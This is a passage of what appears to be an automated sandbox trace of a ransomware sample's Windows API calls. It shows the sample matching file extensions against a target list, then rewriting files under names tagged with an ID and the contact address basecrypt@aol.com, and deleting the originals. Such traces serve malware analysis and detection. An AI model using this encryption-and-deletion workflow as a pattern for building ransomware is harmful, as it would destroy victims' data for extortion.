(lpString1=".zip", lpString2=".ico") returned 1 [0103.884] lstrlenW (lpString=".rar") returned 4 [0103.884] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.884] lstrlenW (lpString=".bz2") returned 4 [0103.885] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.885] lstrlenW (lpString=".7z") returned 3 [0103.885] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.885] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0103.885] lstrlenW (lpString=".dbf") returned 4 [0103.885] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.885] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0103.885] lstrlenW (lpString=".1cd") returned 4 [0103.885] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.885] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0103.885] lstrlenW (lpString=".jpg") returned 4 [0103.885] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.885] lstrcmpiW (lpString1=".mzz", lpString2=".BSC") returned 1 [0103.885] lstrlenW (lpString="netfx_Core.mzz") returned 14 [0103.885] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0103.885] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=181483595) returned 1 [0103.885] CloseHandle (hObject=0x364) returned 1 [0103.885] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz")) returned 0x80 [0103.886] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.886] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[basecrypt@aol.com].bsc")) returned 1 [0103.886] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0103.886] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fc64 | out: lpNewFilePointer=0x0) returned 1 [0103.886] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fc24 | out: lpNewFilePointer=0x0) returned 1 [0103.886] ReadFile (in: hFile=0x364, lpBuffer=0x3904058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3fc30, lpOverlapped=0x0 | out: lpBuffer=0x3904058*, lpNumberOfBytesRead=0x2e3fc30*=0x40000, lpOverlapped=0x0) returned 1 [0103.921] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fc24 | out: lpNewFilePointer=0x0) returned 1 [0103.921] ReadFile (in: hFile=0x364, lpBuffer=0x3944058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3fc30, lpOverlapped=0x0 | out: lpBuffer=0x3944058*, lpNumberOfBytesRead=0x2e3fc30*=0x40000, lpOverlapped=0x0) returned 1 [0103.999] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2e3fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.000] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fc24 | out: lpNewFilePointer=0x0) returned 1 [0104.000] ReadFile (in: hFile=0x364, lpBuffer=0x3984058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3fc30, lpOverlapped=0x0 | out: lpBuffer=0x3984058*, lpNumberOfBytesRead=0x2e3fc30*=0x40000, lpOverlapped=0x0) returned 1 [0104.275] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.275] WriteFile (in: hFile=0x364, lpBuffer=0x3904020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2e3fca8, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesWritten=0x2e3fca8*=0xc0108, lpOverlapped=0x0) returned 1 [0104.290] SetEndOfFile (hFile=0x364) returned 1 [0104.291] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x4355278 [0104.759] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fc74 | out: lpNewFilePointer=0x0) returned 1 [0104.759] WriteFile (in: hFile=0x364, lpBuffer=0x4355278*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3fc80, lpOverlapped=0x0 | out: lpBuffer=0x4355278*, lpNumberOfBytesWritten=0x2e3fc80*=0x40000, lpOverlapped=0x0) returned 1 [0104.761] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fc74 | out: lpNewFilePointer=0x0) returned 1 [0104.761] WriteFile (in: hFile=0x364, lpBuffer=0x4355278*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3fc80, lpOverlapped=0x0 | out: lpBuffer=0x4355278*, lpNumberOfBytesWritten=0x2e3fc80*=0x40000, lpOverlapped=0x0) returned 1 [0104.762] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fc74 | out: lpNewFilePointer=0x0) returned 1 [0104.762] WriteFile (in: hFile=0x364, lpBuffer=0x4355278*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3fc80, lpOverlapped=0x0 | out: lpBuffer=0x4355278*, lpNumberOfBytesWritten=0x2e3fc80*=0x40000, lpOverlapped=0x0) returned 1 [0104.763] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4355278 | out: hHeap=0x5c0000) returned 1 [0104.836] CloseHandle (hObject=0x364) returned 1 [0107.823] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0107.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0107.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0107.823] lstrlenW (lpString=".doc") returned 4 [0107.824] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0107.824] lstrlenW (lpString=".docx") returned 5 [0107.824] lstrcmpiW (lpString1=".docx", lpString2="e.mzz") returned -1 [0107.824] lstrlenW (lpString=".pdf") returned 4 [0107.824] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0107.824] lstrlenW (lpString=".xls") returned 4 [0107.824] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0107.824] lstrlenW (lpString=".xlsx") returned 5 [0107.824] lstrcmpiW (lpString1=".xlsx", lpString2="e.mzz") returned -1 [0107.824] lstrlenW (lpString=".ppt") returned 4 [0107.824] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0107.824] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0107.824] lstrlenW (lpString=".zip") returned 4 [0107.824] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0107.824] lstrlenW (lpString=".rar") returned 4 [0107.824] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0107.824] lstrlenW (lpString=".bz2") returned 4 [0107.824] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0107.824] lstrlenW (lpString=".7z") returned 3 [0107.824] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0107.824] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0107.824] lstrlenW (lpString=".dbf") returned 4 [0107.824] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0107.824] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0107.824] lstrlenW (lpString=".1cd") returned 4 [0107.824] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0107.824] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0107.825] lstrlenW (lpString=".jpg") returned 4 [0107.825] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0107.825] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0107.825] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0107.825] lstrlenW (lpString=".doc") returned 4 [0107.825] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0107.825] lstrlenW (lpString=".docx") returned 5 [0107.825] lstrcmpiW (lpString1=".docx", lpString2="e.mzz") returned -1 [0107.825] lstrlenW (lpString=".pdf") returned 4 [0107.825] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0107.825] lstrlenW (lpString=".xls") returned 4 [0107.825] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0107.825] lstrlenW (lpString=".xlsx") returned 5 [0107.825] lstrcmpiW (lpString1=".xlsx", lpString2="e.mzz") returned -1 [0107.825] lstrlenW (lpString=".ppt") returned 4 [0107.825] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0107.825] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0107.825] lstrlenW (lpString=".zip") returned 4 [0107.825] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0107.825] lstrlenW (lpString=".rar") returned 4 [0107.825] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0107.825] lstrlenW (lpString=".bz2") returned 4 [0107.825] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0107.825] lstrlenW (lpString=".7z") returned 3 [0107.825] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0107.826] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0107.826] lstrlenW (lpString=".dbf") returned 4 [0107.826] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0107.826] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0107.826] lstrlenW (lpString=".1cd") returned 4 [0107.826] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0107.826] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0107.826] lstrlenW (lpString=".jpg") returned 4 [0107.826] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0107.826] lstrcmpiW (lpString1=".msi", lpString2=".BSC") returned 1 [0107.826] lstrlenW (lpString="RGB9RAST_x64.msi") returned 16 [0107.826] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0107.826] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=184832) returned 1 [0107.827] CloseHandle (hObject=0x364) returned 1 [0107.827] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 0x80 [0107.827] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0107.827] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0107.827] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.827] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.827] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0107.827] GetLastError () returned 0x0 [0107.827] ReadFile (in: hFile=0x364, lpBuffer=0x3904020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesRead=0x2e3fecc*=0x2d200, lpOverlapped=0x0) returned 1 [0107.920] WriteFile (in: hFile=0x33c, lpBuffer=0x3904020*, nNumberOfBytesToWrite=0x2d210, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesWritten=0x2e3fc94*=0x2d210, lpOverlapped=0x0) returned 1 [0107.929] ReadFile (in: hFile=0x364, lpBuffer=0x3904020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0107.930] WriteFile (in: hFile=0x33c, lpBuffer=0x3904020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesWritten=0x2e3fc94*=0xf4, lpOverlapped=0x0) returned 1 [0107.930] SetEndOfFile (hFile=0x33c) returned 1 [0107.930] CloseHandle (hObject=0x33c) returned 1 [0107.937] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.937] SetEndOfFile (hFile=0x364) returned 1 [0107.939] CloseHandle (hObject=0x364) returned 1 [0107.939] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0107.940] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 1 [0107.940] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0107.940] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0107.940] lstrlenW (lpString=".doc") returned 4 [0107.940] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0107.940] lstrlenW (lpString=".docx") returned 5 [0107.940] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0107.940] lstrlenW (lpString=".pdf") returned 4 [0107.940] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0107.940] lstrlenW (lpString=".xls") returned 4 [0107.940] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0107.940] lstrlenW (lpString=".xlsx") returned 5 [0107.940] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0107.940] lstrlenW (lpString=".ppt") returned 4 [0107.940] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0107.941] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0107.941] lstrlenW (lpString=".zip") returned 4 [0107.941] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0107.941] lstrlenW (lpString=".rar") returned 4 [0107.941] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0107.941] lstrlenW (lpString=".bz2") returned 4 [0107.941] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0107.941] lstrlenW (lpString=".7z") returned 3 [0107.941] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0107.941] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0107.941] lstrlenW (lpString=".dbf") returned 4 [0107.941] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0107.941] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0107.941] lstrlenW (lpString=".1cd") returned 4 [0107.941] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0107.941] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0107.941] lstrlenW (lpString=".jpg") returned 4 [0107.941] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0107.941] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0107.941] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0107.941] lstrlenW (lpString=".doc") returned 4 [0107.941] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0107.941] lstrlenW (lpString=".docx") returned 5 [0107.941] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0107.941] lstrlenW (lpString=".pdf") returned 4 [0107.941] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0107.942] lstrlenW (lpString=".xls") returned 4 [0107.942] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0107.942] lstrlenW (lpString=".xlsx") returned 5 [0107.942] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0107.942] lstrlenW (lpString=".ppt") returned 4 [0107.942] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0107.942] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0107.942] lstrlenW (lpString=".zip") returned 4 [0107.942] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0107.942] lstrlenW (lpString=".rar") returned 4 [0107.942] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0107.942] lstrlenW (lpString=".bz2") returned 4 [0107.942] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0107.942] lstrlenW (lpString=".7z") returned 3 [0107.942] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0107.942] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0107.942] lstrlenW (lpString=".dbf") returned 4 [0107.942] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0107.942] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0107.942] lstrlenW (lpString=".1cd") returned 4 [0107.942] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0107.942] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0107.942] lstrlenW (lpString=".jpg") returned 4 [0107.942] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0107.943] lstrcmpiW (lpString1=".msi", lpString2=".BSC") returned 1 [0107.943] lstrlenW (lpString="RGB9Rast_x86.msi") returned 16 [0107.943] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0107.943] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=94720) returned 1 [0107.943] CloseHandle (hObject=0x364) returned 1 [0107.943] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 0x80 [0107.943] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0107.943] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0107.944] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.944] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.944] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0107.944] GetLastError () returned 0x0 [0107.944] ReadFile (in: hFile=0x364, lpBuffer=0x3904020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesRead=0x2e3fecc*=0x17200, lpOverlapped=0x0) returned 1 [0108.322] WriteFile (in: hFile=0x33c, lpBuffer=0x3904020*, nNumberOfBytesToWrite=0x17210, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesWritten=0x2e3fc94*=0x17210, lpOverlapped=0x0) returned 1 [0108.324] ReadFile (in: hFile=0x364, lpBuffer=0x3904020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0108.324] WriteFile (in: hFile=0x33c, lpBuffer=0x3904020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesWritten=0x2e3fc94*=0xf4, lpOverlapped=0x0) returned 1 [0108.324] SetEndOfFile (hFile=0x33c) returned 1 [0108.324] CloseHandle (hObject=0x33c) returned 1 [0108.326] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.326] SetEndOfFile (hFile=0x364) returned 1 [0108.327] CloseHandle (hObject=0x364) returned 1 [0108.327] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0108.329] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 1 [0108.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0108.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0108.330] lstrlenW (lpString=".doc") returned 4 [0108.330] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0108.330] lstrlenW (lpString=".docx") returned 5 [0108.330] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0108.330] lstrlenW (lpString=".pdf") returned 4 [0108.330] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0108.330] lstrlenW (lpString=".xls") returned 4 [0108.330] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0108.330] lstrlenW (lpString=".xlsx") returned 5 [0108.330] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0108.330] lstrlenW (lpString=".ppt") returned 4 [0108.330] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0108.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0108.330] lstrlenW (lpString=".zip") returned 4 [0108.330] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0108.330] lstrlenW (lpString=".rar") returned 4 [0108.330] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0108.330] lstrlenW (lpString=".bz2") returned 4 [0108.330] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0108.330] lstrlenW (lpString=".7z") returned 3 [0108.330] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0108.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0108.330] lstrlenW (lpString=".dbf") returned 4 [0108.330] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0108.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0108.330] lstrlenW (lpString=".1cd") returned 4 [0108.330] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0108.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0108.331] lstrlenW (lpString=".jpg") returned 4 [0108.331] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0108.331] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0108.331] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0108.331] lstrlenW (lpString=".doc") returned 4 [0108.331] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0108.331] lstrlenW (lpString=".docx") returned 5 [0108.331] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0108.331] lstrlenW (lpString=".pdf") returned 4 [0108.331] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0108.331] lstrlenW (lpString=".xls") returned 4 [0108.331] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0108.331] lstrlenW (lpString=".xlsx") returned 5 [0108.331] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0108.331] lstrlenW (lpString=".ppt") returned 4 [0108.331] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0108.331] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0108.331] lstrlenW (lpString=".zip") returned 4 [0108.331] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0108.331] lstrlenW (lpString=".rar") returned 4 [0108.331] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0108.331] lstrlenW (lpString=".bz2") returned 4 [0108.331] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0108.331] lstrlenW (lpString=".7z") returned 3 [0108.331] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0108.331] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0108.331] lstrlenW (lpString=".dbf") returned 4 [0108.331] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0108.332] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0108.332] lstrlenW (lpString=".1cd") returned 4 [0108.332] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0108.332] lstrlenW 